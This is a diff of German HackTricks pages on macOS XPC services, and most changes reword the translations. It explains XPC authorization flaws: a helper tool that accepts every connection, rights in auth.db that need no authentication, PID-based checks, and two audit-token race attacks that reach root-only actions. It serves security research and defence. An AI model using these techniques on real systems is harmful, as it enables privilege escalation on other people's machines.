@ -80,10 +80,10 @@ Daher ist der `xpc_<objectType>_t` eine Art Unterklasse von `xpc_object_t`, die
- **`xpc_pipe`**
Ein **`xpc_pipe`** ist ein FIFO-Rohr, das Prozesse zur Kommunikation verwenden können (die Kommunikation verwendet Mach-Nachrichten).\
Ein **`xpc_pipe`** ist ein FIFO-Rohr, das Prozesse zur Kommunikation verwenden können (die Kommunikation erfolgt über Mach-Nachrichten).\
Es ist möglich, einen XPC-Server zu erstellen, indem `xpc_pipe_create()` oder `xpc_pipe_create_from_port()` aufgerufen wird, um ihn mit einem bestimmten Mach-Port zu erstellen. Um Nachrichten zu empfangen, ist es möglich, `xpc_pipe_receive` und `xpc_pipe_try_receive` aufzurufen.
Beachten Sie, dass das **`xpc_pipe`**-Objekt ein **`xpc_object_t`** mit Informationen in seiner Struktur über die beiden verwendeten Mach-Ports und den Namen (falls vorhanden) ist. Der Name, zum Beispiel, der Daemon `secinitd` in seiner plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist` konfiguriert das Rohr mit dem Namen `com.apple.secinitd`.
Beachten Sie, dass das **`xpc_pipe`**-Objekt ein **`xpc_object_t`** mit Informationen in seiner Struktur über die beiden verwendeten Mach-Ports und den Namen (falls vorhanden) ist. Der Name, zum Beispiel, der Daemon `secinitd` in seiner plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist`, konfiguriert das Rohr mit dem Namen `com.apple.secinitd`.
Ein Beispiel für ein **`xpc_pipe`** ist das von **`launchd`** erstellte **Bootstrap-Pipe**, das das Teilen von Mach-Ports ermöglicht.
@ -94,7 +94,7 @@ Darüber hinaus ist es einfacher, diese Objekte mit DTrace zu debuggen als die v
- **`GCD Queues`**
XPC verwendet GCD, um Nachrichten zu übermitteln, außerdem generiert es bestimmte Dispatch-Warteschlangen wie `xpc.transactionq`, `xpc.io`, `xpc-events.add-listenerq`, `xpc.service-instance`...
XPC verwendet GCD, um Nachrichten zu übermitteln, und generiert bestimmte Dispatch-Warteschlangen wie `xpc.transactionq`, `xpc.io`, `xpc-events.add-listenerq`, `xpc.service-instance`...
## XPC-Dienste
@ -111,7 +111,7 @@ Es ist möglich, die Aktionen von `xpcproxy` zu verfolgen mit:
```bash
supraudit S -C -o /tmp/output /dev/auditpipe
```
Die XPC-Bibliothek verwendet `kdebug`, um Aktionen zu protokollieren, indem `xpc_ktrace_pid0` und `xpc_ktrace_pid1` aufgerufen werden. Die verwendeten Codes sind nicht dokumentiert, daher müssen sie in `/usr/share/misc/trace.codes` hinzugefügt werden. Sie haben das Präfix `0x29`, und zum Beispiel ist einer `0x29000004`: `XPC_serializer_pack`.\
Die XPC-Bibliothek verwendet `kdebug`, um Aktionen zu protokollieren, indem `xpc_ktrace_pid0` und `xpc_ktrace_pid1` aufgerufen werden. Die verwendeten Codes sind nicht dokumentiert, daher müssen sie in `/usr/share/misc/trace.codes` hinzugefügt werden. Sie haben das Präfix `0x29` und zum Beispiel ist einer `0x29000004`: `XPC_serializer_pack`.\
Das Dienstprogramm `xpcproxy` verwendet das Präfix `0x22`, zum Beispiel: `0x2200001c: xpcproxy:will_do_preexec`.
## XPC-Ereignisnachrichten
@ -120,7 +120,8 @@ Anwendungen können sich **für verschiedene Ereignis-**nachrichten **anmelden**
### XPC-Verbindungsprozessprüfung
Wenn ein Prozess versucht, eine Methode über eine XPC-Verbindung aufzurufen, sollte der **XPC-Dienst überprüfen, ob dieser Prozess berechtigt ist, sich zu verbinden**. Hier sind die gängigen Methoden zur Überprüfung und die häufigen Fallstricke:
Wenn ein Prozess versucht, eine Methode über eine XPC-Verbindung aufzurufen, sollte der **XPC-Dienst überprüfen, ob dieser Prozess berechtigt ist, sich zu verbinden**. Hier sind die gängigen Methoden zur Überprüfung und die häufigsten Fallstricke:
{{#ref}}
macos-xpc-connecting-process-check/
@ -130,6 +131,7 @@ macos-xpc-connecting-process-check/
Apple erlaubt es auch, dass Apps **einige Rechte konfigurieren und wie man sie erhält**, sodass, wenn der aufrufende Prozess diese hat, er **berechtigt wäre, eine Methode** vom XPC-Dienst aufzurufen:
{{#ref}}
macos-xpc-authorization.md
{{#endref}}

View File

@ -1,16 +1,16 @@
# macOS XPC Autorisierung
# macOS XPC Authorization
{{#include ../../../../../banners/hacktricks-training.md}}
## XPC Autorisierung
## XPC Authorization
Apple schlägt auch eine andere Möglichkeit vor, um zu authentifizieren, ob der verbindende Prozess **Berechtigungen hat, um eine exponierte XPC-Methode aufzurufen**.
Wenn eine Anwendung **Aktionen als privilegierter Benutzer ausführen** muss, installiert sie normalerweise ein HelperTool als XPC-Dienst, das als Root ausgeführt wird und von der App aufgerufen werden kann, um diese Aktionen auszuführen. Die App, die den Dienst aufruft, sollte jedoch über ausreichende Berechtigungen verfügen.
Wenn eine Anwendung **Aktionen als privilegierter Benutzer ausführen** muss, installiert sie normalerweise ein HelperTool als XPC-Dienst, das als Root ausgeführt wird und von der App aufgerufen werden kann, um diese Aktionen auszuführen, anstatt die App als privilegierten Benutzer auszuführen. Die App, die den Dienst aufruft, sollte jedoch über ausreichende Berechtigungen verfügen.
### ShouldAcceptNewConnection immer YES
Ein Beispiel könnte in [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) gefunden werden. In `App/AppDelegate.m` versucht es, sich mit dem **HelperTool** zu **verbinden**. Und in `HelperTool/HelperTool.m` wird die Funktion **`shouldAcceptNewConnection`** **keine** der zuvor angegebenen Anforderungen überprüfen. Sie wird immer YES zurückgeben:
Ein Beispiel könnte in [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) gefunden werden. In `App/AppDelegate.m` versucht es, sich mit dem **HelperTool** zu **verbinden**. Und in `HelperTool/HelperTool.m` wird die Funktion **`shouldAcceptNewConnection`** **keine** der zuvor angegebenen Anforderungen **überprüfen**. Sie wird immer YES zurückgeben:
```objectivec
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection
@ -27,7 +27,7 @@ newConnection.exportedObject = self;
return YES;
}
```
Für weitere Informationen darüber, wie man dies richtig konfiguriert, siehe:
Für weitere Informationen darüber, wie Sie diese Überprüfung richtig konfigurieren:
{{#ref}}
macos-xpc-connecting-process-check/
@ -35,7 +35,7 @@ macos-xpc-connecting-process-check/
### Anwendungsrechte
Es gibt jedoch eine **Autorisierung, die stattfindet, wenn eine Methode des HelperTools aufgerufen wird**.
Es gibt jedoch eine **Autorisierung, die erfolgt, wenn eine Methode des HelperTools aufgerufen wird**.
Die Funktion **`applicationDidFinishLaunching`** aus `App/AppDelegate.m` erstellt nach dem Start der App eine leere Autorisierungsreferenz. Dies sollte immer funktionieren.\
Dann wird versucht, **einige Rechte** zu dieser Autorisierungsreferenz hinzuzufügen, indem `setupAuthorizationRights` aufgerufen wird:
@ -176,7 +176,7 @@ Das bedeutet, dass am Ende dieses Prozesses die in `commandInfo` deklarierten Be
Es gibt verschiedene Bereiche, um anzugeben, wer auf ein Recht zugreifen kann. Einige davon sind in [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity_authorization/lib/AuthorizationDB.h) definiert (Sie können [alle hier finden](https://www.dssw.co.uk/reference/authorization-rights/)), aber zusammenfassend:
<table><thead><tr><th width="284.3333333333333">Name</th><th width="165">Wert</th><th>Beschreibung</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Jeder</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Niemand</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>Der aktuelle Benutzer muss ein Administrator sein (innerhalb der Administratorgruppe)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Den Benutzer zur Authentifizierung auffordern.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Den Benutzer zur Authentifizierung auffordern. Er muss ein Administrator sein (innerhalb der Administratorgruppe)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Regeln angeben</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Einige zusätzliche Kommentare zu dem Recht angeben</td></tr></tbody></table>
<table><thead><tr><th width="284.3333333333333">Name</th><th width="165">Wert</th><th>Beschreibung</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Jeder</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Niemand</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>Der aktuelle Benutzer muss ein Administrator sein (innerhalb der Administratorgruppe)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Benutzer zur Authentifizierung auffordern.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Benutzer zur Authentifizierung auffordern. Er muss ein Administrator sein (innerhalb der Administratorgruppe)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Regeln angeben</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Einige zusätzliche Kommentare zum Recht angeben</td></tr></tbody></table>
### Rechteüberprüfung
@ -228,13 +228,13 @@ assert(junk == errAuthorizationSuccess);
return error;
}
```
Beachten Sie, dass die Funktion `authorizationRightForCommand` nur das zuvor kommentierte Objekt **`commandInfo`** überprüft, um **die Anforderungen zu überprüfen, um das Recht** zu erhalten, diese Methode aufzurufen. Dann wird **`AuthorizationCopyRights`** aufgerufen, um zu überprüfen, **ob es die Rechte hat**, die Funktion aufzurufen (beachten Sie, dass die Flags die Interaktion mit dem Benutzer erlauben).
Beachten Sie, dass die Funktion `authorizationRightForCommand` nur das zuvor kommentierte Objekt **`commandInfo`** überprüft, um **die Anforderungen zu überprüfen, um das Recht** zu erhalten, diese Methode aufzurufen. Dann wird sie **`AuthorizationCopyRights`** aufrufen, um zu überprüfen, **ob es die Rechte hat**, die Funktion aufzurufen (beachten Sie, dass die Flags die Interaktion mit dem Benutzer erlauben).
In diesem Fall ist `kCommandKeyAuthRightDefault` auf `@kAuthorizationRuleClassAllow` definiert, um die Funktion `readLicenseKeyAuthorization` aufzurufen. So **kann es jeder aufrufen**.
In diesem Fall ist `kCommandKeyAuthRightDefault` definiert als `@kAuthorizationRuleClassAllow`, um die Funktion `readLicenseKeyAuthorization` aufzurufen. So **kann es jeder aufrufen**.
### DB Informationen
### DB-Informationen
Es wurde erwähnt, dass diese Informationen in `/var/db/auth.db` gespeichert sind. Sie können alle gespeicherten Regeln mit auflisten:
Es wurde erwähnt, dass diese Informationen in `/var/db/auth.db` gespeichert sind. Sie können alle gespeicherten Regeln mit folgendem Befehl auflisten:
```sql
sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
@ -244,21 +244,21 @@ Dann können Sie lesen, wer auf das Recht zugreifen kann mit:
```bash
security authorizationdb read com.apple.safaridriver.allow
```
### Erlaubte Rechte
### Permissive Rechte
Sie können **alle Berechtigungskonfigurationen** [**hier**](https://www.dssw.co.uk/reference/authorization-rights/) finden, aber die Kombinationen, die keine Benutzerinteraktion erfordern, wären:
1. **'authenticate-user': 'false'**
- Dies ist der direkteste Schlüssel. Wenn er auf `false` gesetzt ist, bedeutet dies, dass ein Benutzer keine Authentifizierung bereitstellen muss, um dieses Recht zu erhalten.
- Dies ist der direkteste Schlüssel. Wenn er auf `false` gesetzt ist, gibt er an, dass ein Benutzer keine Authentifizierung bereitstellen muss, um dieses Recht zu erhalten.
- Dies wird **in Kombination mit einem der 2 unten oder zur Angabe einer Gruppe** verwendet, zu der der Benutzer gehören muss.
2. **'allow-root': 'true'**
- Wenn ein Benutzer als Root-Benutzer (der erhöhte Berechtigungen hat) arbeitet und dieser Schlüssel auf `true` gesetzt ist, könnte der Root-Benutzer potenziell dieses Recht ohne weitere Authentifizierung erhalten. In der Regel erfordert der Zugang zu einem Root-Benutzerstatus jedoch bereits eine Authentifizierung, sodass dies für die meisten Benutzer kein "keine Authentifizierung"-Szenario ist.
3. **'session-owner': 'true'**
- Wenn auf `true` gesetzt, würde der Eigentümer der Sitzung (der aktuell angemeldete Benutzer) automatisch dieses Recht erhalten. Dies könnte zusätzliche Authentifizierung umgehen, wenn der Benutzer bereits angemeldet ist.
- Wenn auf `true` gesetzt, würde der Besitzer der Sitzung (der aktuell angemeldete Benutzer) automatisch dieses Recht erhalten. Dies könnte zusätzliche Authentifizierung umgehen, wenn der Benutzer bereits angemeldet ist.
4. **'shared': 'true'**
- Dieser Schlüssel gewährt keine Rechte ohne Authentifizierung. Stattdessen bedeutet es, wenn er auf `true` gesetzt ist, dass, sobald das Recht authentifiziert wurde, es unter mehreren Prozessen geteilt werden kann, ohne dass jeder einzelne sich erneut authentifizieren muss. Aber die ursprüngliche Gewährung des Rechts würde weiterhin eine Authentifizierung erfordern, es sei denn, sie wird mit anderen Schlüsseln wie `'authenticate-user': 'false'` kombiniert.
Sie können [**dieses Skript**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) verwenden, um die interessanten Rechte zu erhalten:
Sie können [**dieses Skript verwenden**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9), um die interessanten Rechte zu erhalten:
```bash
Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
@ -273,13 +273,13 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
### Überprüfen, ob EvenBetterAuthorization verwendet wird
Wenn Sie die Funktion: **`[HelperTool checkAuthorization:command:]`** finden, verwendet der Prozess wahrscheinlich das zuvor erwähnte Schema für die Autorisierung:
Wenn Sie die Funktion **`[HelperTool checkAuthorization:command:]`** finden, verwendet der Prozess wahrscheinlich das zuvor erwähnte Schema für die Autorisierung:
<figure><img src="../../../../../images/image (42).png" alt=""><figcaption></figcaption></figure>
Wenn diese Funktion Funktionen wie `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree` aufruft, verwendet sie [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
Überprüfen Sie die **`/var/db/auth.db`**, um zu sehen, ob es möglich ist, Berechtigungen zu erhalten, um einige privilegierte Aktionen ohne Benutzerinteraktion aufzurufen.
Überprüfen Sie die **`/var/db/auth.db`**, um festzustellen, ob es möglich ist, Berechtigungen zu erhalten, um einige privilegierte Aktionen ohne Benutzerinteraktion auszuführen.
### Protokollkommunikation
@ -291,7 +291,7 @@ Die Funktion **`shouldAcceptNewConnection`** zeigt das exportierte Protokoll an:
In diesem Fall haben wir dasselbe wie im EvenBetterAuthorizationSample, [**überprüfen Sie diese Zeile**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
Wenn Sie den Namen des verwendeten Protokolls kennen, ist es möglich, **seine Header-Definition zu dumpen** mit:
Wenn Sie den Namen des verwendeten Protokolls kennen, ist es möglich, **seine Header-Definition** mit:
```bash
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@ -331,7 +331,7 @@ In diesem Beispiel wird erstellt:
- Die Definition des Protokolls mit den Funktionen
- Eine leere Authentifizierung, um um Zugriff zu bitten
- Eine Verbindung zum XPC-Dienst
- Ein Aufruf der Funktion, falls die Verbindung erfolgreich war
- Ein Aufruf der Funktion, wenn die Verbindung erfolgreich war
```objectivec
// gcc -framework Foundation -framework Security expl.m -o expl

View File

@ -7,7 +7,7 @@
Wenn eine Verbindung zu einem XPC-Dienst hergestellt wird, überprüft der Server, ob die Verbindung erlaubt ist. Dies sind die Überprüfungen, die normalerweise durchgeführt werden:
1. Überprüfen, ob der verbindende **Prozess mit einem von Apple signierten** Zertifikat signiert ist (nur von Apple ausgegeben).
- Wenn dies **nicht verifiziert** wird, könnte ein Angreifer ein **gefälschtes Zertifikat** erstellen, um andere Überprüfungen zu umgehen.
- Wenn dies **nicht verifiziert** wird, könnte ein Angreifer ein **gefälschtes Zertifikat** erstellen, um andere Überprüfungen zu bestehen.
2. Überprüfen, ob der verbindende Prozess mit dem **Zertifikat der Organisation** signiert ist (Team-ID-Überprüfung).
- Wenn dies **nicht verifiziert** wird, kann **jedes Entwicklerzertifikat** von Apple zur Signierung verwendet werden, um sich mit dem Dienst zu verbinden.
3. Überprüfen, ob der verbindende Prozess **eine gültige Bundle-ID** enthält.
@ -17,7 +17,7 @@ Wenn eine Verbindung zu einem XPC-Dienst hergestellt wird, überprüft der Serve
5. (4 oder 5) Überprüfen, ob der verbindende Prozess eine gehärtete Laufzeit ohne gefährliche Berechtigungen hat (wie die, die das Laden beliebiger Bibliotheken oder die Verwendung von DYLD-Umgebungsvariablen ermöglichen).
1. Wenn dies **nicht verifiziert** wird, könnte der Client **anfällig für Code-Injektionen** sein.
6. Überprüfen, ob der verbindende Prozess eine **Berechtigung** hat, die es ihm erlaubt, sich mit dem Dienst zu verbinden. Dies gilt für Apple-Binärdateien.
7. Die **Überprüfung** muss **auf dem Audit-Token des verbindenden Clients** **basieren** und nicht auf seiner Prozess-ID (**PID**), da letzteres **PID-Wiederverwendungsangriffe** verhindert.
7. Die **Überprüfung** muss **auf dem Audit-Token des verbindenden Clients** **basieren** und nicht auf seiner Prozess-ID (**PID**), da ersteres **PID-Wiederverwendungsangriffe** verhindert.
- Entwickler **verwenden selten den Audit-Token** API-Aufruf, da er **privat** ist, sodass Apple ihn jederzeit **ändern** könnte. Darüber hinaus ist die Verwendung privater APIs in Mac App Store-Apps nicht erlaubt.
- Wenn die Methode **`processIdentifier`** verwendet wird, könnte sie anfällig sein.
- **`xpc_dictionary_get_audit_token`** sollte anstelle von **`xpc_connection_get_audit_token`** verwendet werden, da letzteres auch in bestimmten Situationen [anfällig sein könnte](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
@ -49,7 +49,7 @@ Der Server wird diese **Überprüfung** in einer Funktion namens **`shouldAccept
return YES;
}
```
Das Objekt NSXPCConnection hat eine **private** Eigenschaft **`auditToken`** (die verwendet werden sollte, aber sich ändern könnte) und eine **public** Eigenschaft **`processIdentifier`** (die nicht verwendet werden sollte).
Das Objekt NSXPCConnection hat eine **private** Eigenschaft **`auditToken`** (die verwendet werden sollte, sich aber ändern könnte) und eine **öffentliche** Eigenschaft **`processIdentifier`** (die nicht verwendet werden sollte).
Der verbindende Prozess könnte mit etwas wie folgendem überprüft werden:
```objectivec

View File

@ -4,10 +4,11 @@
**Für weitere Informationen siehe den Originalbeitrag:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). Dies ist eine Zusammenfassung:
## Grundlegende Informationen zu Mach-Nachrichten
## Mach-Nachrichten Grundinformationen
Wenn Sie nicht wissen, was Mach-Nachrichten sind, beginnen Sie mit dieser Seite:
{{#ref}}
../../
{{#endref}}
@ -19,6 +20,7 @@ Mach-Nachrichten werden über einen _mach port_ gesendet, der ein **einzelner Em
Wenn Sie nicht wissen, wie eine XPC-Verbindung hergestellt wird, überprüfen Sie:
{{#ref}}
../
{{#endref}}
@ -33,22 +35,22 @@ Was für Sie interessant zu wissen ist, dass **XPCs Abstraktion eine Eins-zu-Ein
Obwohl die vorherige Situation vielversprechend klingt, gibt es einige Szenarien, in denen dies keine Probleme verursachen wird ([von hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
- Audit-Tokens werden oft für eine Autorisierungsprüfung verwendet, um zu entscheiden, ob eine Verbindung akzeptiert werden soll. Da dies über eine Nachricht an den Dienstport erfolgt, ist **noch keine Verbindung hergestellt**. Weitere Nachrichten auf diesem Port werden einfach als zusätzliche Verbindungsanfragen behandelt. Daher sind alle **Prüfungen vor der Annahme einer Verbindung nicht anfällig** (das bedeutet auch, dass innerhalb von `-listener:shouldAcceptNewConnection:` das Audit-Token sicher ist). Wir suchen daher **nach XPC-Verbindungen, die spezifische Aktionen überprüfen**.
- Audit-Tokens werden oft für eine Autorisierungsprüfung verwendet, um zu entscheiden, ob eine Verbindung akzeptiert werden soll. Da dies über eine Nachricht an den Dienstport geschieht, ist **noch keine Verbindung hergestellt**. Weitere Nachrichten auf diesem Port werden einfach als zusätzliche Verbindungsanfragen behandelt. Daher sind alle **Prüfungen vor der Annahme einer Verbindung nicht anfällig** (das bedeutet auch, dass innerhalb von `-listener:shouldAcceptNewConnection:` das Audit-Token sicher ist). Wir suchen daher **nach XPC-Verbindungen, die spezifische Aktionen überprüfen**.
- XPC-Ereignis-Handler werden synchron behandelt. Das bedeutet, dass der Ereignis-Handler für eine Nachricht abgeschlossen sein muss, bevor er für die nächste aufgerufen wird, selbst bei parallelen Dispatch-Warteschlangen. Daher kann innerhalb eines **XPC-Ereignis-Handlers das Audit-Token nicht von anderen normalen (nicht-Antwort!) Nachrichten überschrieben werden**.
Zwei verschiedene Methoden, wie dies ausgenutzt werden könnte:
1. Variante 1:
- **Exploit** **verbindet** sich mit Dienst **A** und Dienst **B**
- Dienst **B** kann eine **privilegierte Funktionalität** in Dienst A aufrufen, die der Benutzer nicht kann
- Dienst **A** ruft **`xpc_connection_get_audit_token`** auf, während er _**nicht**_ im **Ereignis-Handler** für eine Verbindung in einem **`dispatch_async`** ist.
- So könnte eine **andere** Nachricht das **Audit-Token überschreiben**, weil es asynchron außerhalb des Ereignis-Handlers dispatcht wird.
- **Exploit** **stellt eine Verbindung** zu Dienst **A** und Dienst **B** her.
- Dienst **B** kann eine **privilegierte Funktionalität** in Dienst A aufrufen, die der Benutzer nicht kann.
- Dienst **A** ruft **`xpc_connection_get_audit_token`** auf, während er _**nicht**_ innerhalb des **Ereignis-Handlers** für eine Verbindung in einem **`dispatch_async`** ist.
- So könnte eine **andere** Nachricht das **Audit-Token überschreiben**, da es asynchron außerhalb des Ereignis-Handlers dispatcht wird.
- Der Exploit übergibt an **Dienst B das SEND-Recht an Dienst A**.
- So wird Dienst **B** tatsächlich die **Nachrichten** an Dienst **A** **senden**.
- Der **Exploit** versucht, die **privilegierte Aktion** **aufzurufen**. In einem RC **prüft** Dienst **A** die Autorisierung dieser **Aktion**, während **Dienst B das Audit-Token überschreibt** (was dem Exploit Zugriff auf die privilegierte Aktion gibt).
2. Variante 2:
- Dienst **B** kann eine **privilegierte Funktionalität** in Dienst A aufrufen, die der Benutzer nicht kann
- Der Exploit verbindet sich mit **Dienst A**, der dem Exploit eine **Nachricht sendet, die eine Antwort erwartet** in einem bestimmten **Antwortport**.
- Dienst **B** kann eine **privilegierte Funktionalität** in Dienst A aufrufen, die der Benutzer nicht kann.
- Der Exploit verbindet sich mit **Dienst A**, der dem Exploit eine **Nachricht sendet, die eine Antwort** in einem bestimmten **Antwortport** erwartet.
- Der Exploit sendet **Dienst** B eine Nachricht, die **diesen Antwortport** übergibt.
- Wenn Dienst **B antwortet**, **sendet** er die Nachricht an Dienst A, **während** der **Exploit** eine andere **Nachricht an Dienst A** sendet, die versucht, eine **privilegierte Funktionalität** zu erreichen und erwartet, dass die Antwort von Dienst B das Audit-Token im perfekten Moment überschreibt (Race Condition).
@ -57,16 +59,16 @@ Zwei verschiedene Methoden, wie dies ausgenutzt werden könnte:
Szenario:
- Zwei Mach-Dienste **`A`** und **`B`**, zu denen wir beide eine Verbindung herstellen können (basierend auf dem Sandbox-Profil und den Autorisierungsprüfungen vor der Annahme der Verbindung).
- _**A**_ muss eine **Autorisierungsprüfung** für eine spezifische Aktion haben, die **`B`** übergeben kann (aber unsere App nicht).
- Zum Beispiel, wenn B einige **Befugnisse** hat oder als **root** läuft, könnte es ihm erlauben, A zu bitten, eine privilegierte Aktion auszuführen.
- _**A**_ muss eine **Autorisierungsprüfung** für eine spezifische Aktion haben, die **`B`** übergeben kann (aber unsere App kann das nicht).
- Zum Beispiel, wenn B einige **Berechtigungen** hat oder als **root** läuft, könnte es ihm erlauben, A zu bitten, eine privilegierte Aktion auszuführen.
- Für diese Autorisierungsprüfung erhält **`A`** das Audit-Token asynchron, indem es beispielsweise `xpc_connection_get_audit_token` von **`dispatch_async`** aufruft.
> [!CAUTION]
> In diesem Fall könnte ein Angreifer eine **Race Condition** auslösen, indem er einen **Exploit** ausführt, der **A auffordert, eine Aktion** mehrmals auszuführen, während er **B Nachrichten an `A`** senden lässt. Wenn die RC **erfolgreich** ist, wird das **Audit-Token** von **B** im Speicher kopiert, **während** die Anfrage unseres **Exploits** von A **bearbeitet** wird, was ihm **Zugriff auf die privilegierte Aktion gibt, die nur B anfordern konnte**.
> In diesem Fall könnte ein Angreifer eine **Race Condition** auslösen, indem er einen **Exploit** erstellt, der **A auffordert, eine Aktion** mehrmals auszuführen, während er **B Nachrichten an `A`** senden lässt. Wenn die RC **erfolgreich** ist, wird das **Audit-Token** von **B** im Speicher kopiert, **während** die Anfrage unseres **Exploits** von A **bearbeitet** wird, was ihm **Zugriff auf die privilegierte Aktion gibt, die nur B anfordern konnte**.
Dies geschah mit **`A`** als `smd` und **`B`** als `diagnosticd`. Die Funktion [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) von smb kann verwendet werden, um ein neues privilegiertes Hilfsprogramm (als **root**) zu installieren. Wenn ein **Prozess, der als root läuft,** **smd** kontaktiert, werden keine weiteren Prüfungen durchgeführt.
Daher ist der Dienst **B** **`diagnosticd`**, da er als **root** läuft und verwendet werden kann, um einen Prozess zu **überwachen**, sodass, sobald die Überwachung begonnen hat, er **mehrere Nachrichten pro Sekunde sendet.**
Daher ist der Dienst **B** **`diagnosticd`**, da er als **root** läuft und verwendet werden kann, um einen Prozess zu **überwachen**, sodass, sobald die Überwachung begonnen hat, er **mehrere Nachrichten pro Sekunde senden wird.**
Um den Angriff durchzuführen:
@ -81,16 +83,16 @@ Um den Angriff durchzuführen:
## Variante 2: Antwortweiterleitung
In einer XPC (Cross-Process Communication)-Umgebung, obwohl Ereignis-Handler nicht gleichzeitig ausgeführt werden, hat die Behandlung von Antwortnachrichten ein einzigartiges Verhalten. Insbesondere gibt es zwei verschiedene Methoden zum Senden von Nachrichten, die eine Antwort erwarten:
In einer XPC (Interprozesskommunikation) Umgebung, obwohl Ereignis-Handler nicht gleichzeitig ausgeführt werden, hat die Behandlung von Antwortnachrichten ein einzigartiges Verhalten. Insbesondere gibt es zwei verschiedene Methoden zum Senden von Nachrichten, die eine Antwort erwarten:
1. **`xpc_connection_send_message_with_reply`**: Hier wird die XPC-Nachricht empfangen und auf einer bestimmten Warteschlange verarbeitet.
2. **`xpc_connection_send_message_with_reply_sync`**: Im Gegensatz dazu wird bei dieser Methode die XPC-Nachricht empfangen und auf der aktuellen Dispatch-Warteschlange verarbeitet.
Diese Unterscheidung ist entscheidend, da sie die Möglichkeit eröffnet, dass **Antwortpakete gleichzeitig mit der Ausführung eines XPC-Ereignis-Handlers analysiert werden**. Bemerkenswerterweise implementiert `_xpc_connection_set_creds` zwar eine Sperre, um gegen die teilweise Überschreibung des Audit-Tokens zu schützen, jedoch erstreckt sich dieser Schutz nicht auf das gesamte Verbindungsobjekt. Folglich entsteht eine Schwachstelle, bei der das Audit-Token während des Zeitraums zwischen der Analyse eines Pakets und der Ausführung seines Ereignis-Handlers ersetzt werden kann.
Diese Unterscheidung ist entscheidend, da sie die Möglichkeit eröffnet, dass **Antwortpakete gleichzeitig mit der Ausführung eines XPC-Ereignis-Handlers analysiert werden**. Bemerkenswerterweise implementiert `_xpc_connection_set_creds` zwar eine Sperre, um gegen die teilweise Überschreibung des Audit-Tokens zu schützen, jedoch erstreckt sich dieser Schutz nicht auf das gesamte Verbindungsobjekt. Folglich entsteht eine Verwundbarkeit, bei der das Audit-Token während des Zeitraums zwischen der Analyse eines Pakets und der Ausführung seines Ereignis-Handlers ersetzt werden kann.
Um diese Schwachstelle auszunutzen, ist die folgende Einrichtung erforderlich:
Um diese Verwundbarkeit auszunutzen, ist die folgende Einrichtung erforderlich:
- Zwei Mach-Dienste, bezeichnet als **`A`** und **`B`**, die beide eine Verbindung herstellen können.
- Zwei Mach-Dienste, die als **`A`** und **`B`** bezeichnet werden, die beide eine Verbindung herstellen können.
- Dienst **`A`** sollte eine Autorisierungsprüfung für eine spezifische Aktion enthalten, die nur **`B`** ausführen kann (die Anwendung des Benutzers kann dies nicht).
- Dienst **`A`** sollte eine Nachricht senden, die eine Antwort erwartet.
- Der Benutzer kann eine Nachricht an **`B`** senden, auf die er antworten wird.
@ -98,7 +100,7 @@ Um diese Schwachstelle auszunutzen, ist die folgende Einrichtung erforderlich:
Der Ausbeutungsprozess umfasst die folgenden Schritte:
1. Warten Sie, bis Dienst **`A`** eine Nachricht sendet, die eine Antwort erwartet.
2. Anstatt direkt an **`A`** zu antworten, wird der Antwortport gehijackt und verwendet, um eine Nachricht an Dienst **`B`** zu senden.
2. Anstatt direkt an **`A`** zu antworten, wird der Antwortport entführt und verwendet, um eine Nachricht an Dienst **`B`** zu senden.
3. Anschließend wird eine Nachricht mit der verbotenen Aktion gesendet, in der Erwartung, dass sie gleichzeitig mit der Antwort von **`B`** verarbeitet wird.
Unten ist eine visuelle Darstellung des beschriebenen Angriffszenarios:
@ -114,12 +116,12 @@ Unten ist eine visuelle Darstellung des beschriebenen Angriffszenarios:
